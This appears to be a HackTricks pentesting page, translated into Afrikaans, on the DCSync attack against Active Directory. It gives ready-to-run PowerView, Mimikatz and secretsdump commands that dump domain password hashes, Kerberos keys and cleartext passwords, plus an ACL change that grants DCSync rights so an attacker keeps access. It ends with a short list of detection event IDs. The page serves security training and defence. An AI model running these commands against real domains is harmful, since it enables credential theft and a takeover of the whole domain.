3.7 KiB
Raw Blame History

DCSync

{{#include ../../banners/hacktricks-training.md}}

DCSync

Die DCSync toestemming impliseer dat jy hierdie toestemmings oor die domein self het: DS-Replication-Get-Changes, Replicating Directory Changes All en Replicating Directory Changes In Filtered Set.

Belangrike Aantekeninge oor DCSync:

  • Die DCSync-aanval simuleer die gedrag van 'n Domeinbeheerder en vra ander Domeinbeheerders om inligting te repliseer met behulp van die Directory Replication Service Remote Protocol (MS-DRSR). Omdat MS-DRSR 'n geldige en noodsaaklike funksie van Active Directory is, kan dit nie afgeskakel of gedeaktiveer word nie.
  • Standaard het slegs Domein Administrators, Enterprise Administrators, Administrators, en Domeinbeheerders groepe die vereiste voorregte.
  • As enige rekeningwagwoorde met omkeerbare kodering gestoor word, is daar 'n opsie beskikbaar in Mimikatz om die wagwoord in duidelike teks terug te gee.

Enumeration

Kontroleer wie hierdie toestemmings het met powerview:

Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl')}

Exploit Plaaslik

Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'

Exploit Afgeleë

secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes
[-just-dc-user <USERNAME>] #To get only of that user
[-pwd-last-set] #To see when each account's password was last changed
[-history] #To dump password history, may be helpful for offline password cracking

-just-dc genereer 3 lêers:

  • een met die NTLM hashes
  • een met die Kerberos sleutels
  • een met duidelike wagwoorde van die NTDS vir enige rekeninge wat met omkeerbare versleuteling geaktiveer is. Jy kan gebruikers met omkeerbare versleuteling kry met
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol

Volharding

As jy 'n domein admin is, kan jy hierdie toestemmings aan enige gebruiker toeken met die hulp van powerview:

Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName username -Rights DCSync -Verbose

Dan kan jy kontroleer of die gebruiker korrek toegeken is aan die 3 voorregte deur daarna te soek in die uitvoer van (jy behoort die name van die voorregte binne die "ObjectType" veld te kan sien):

Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{$_.IdentityReference -match "student114"}

Versagting

  • Sekuriteitsgebeurtenis ID 4662 (Auditsbeleid vir objek moet geaktiveer wees) 'n Operasie is op 'n objek uitgevoer
  • Sekuriteitsgebeurtenis ID 5136 (Auditsbeleid vir objek moet geaktiveer wees) 'n Gidsdiensobjek is gewysig
  • Sekuriteitsgebeurtenis ID 4670 (Auditsbeleid vir objek moet geaktiveer wees) Toestemmings op 'n objek is verander
  • AD ACL Scanner - Skep en vergelyk skepverslae van ACLs. https://github.com/canix1/ADACLScanner

Verwysings

{{#include ../../banners/hacktricks-training.md}}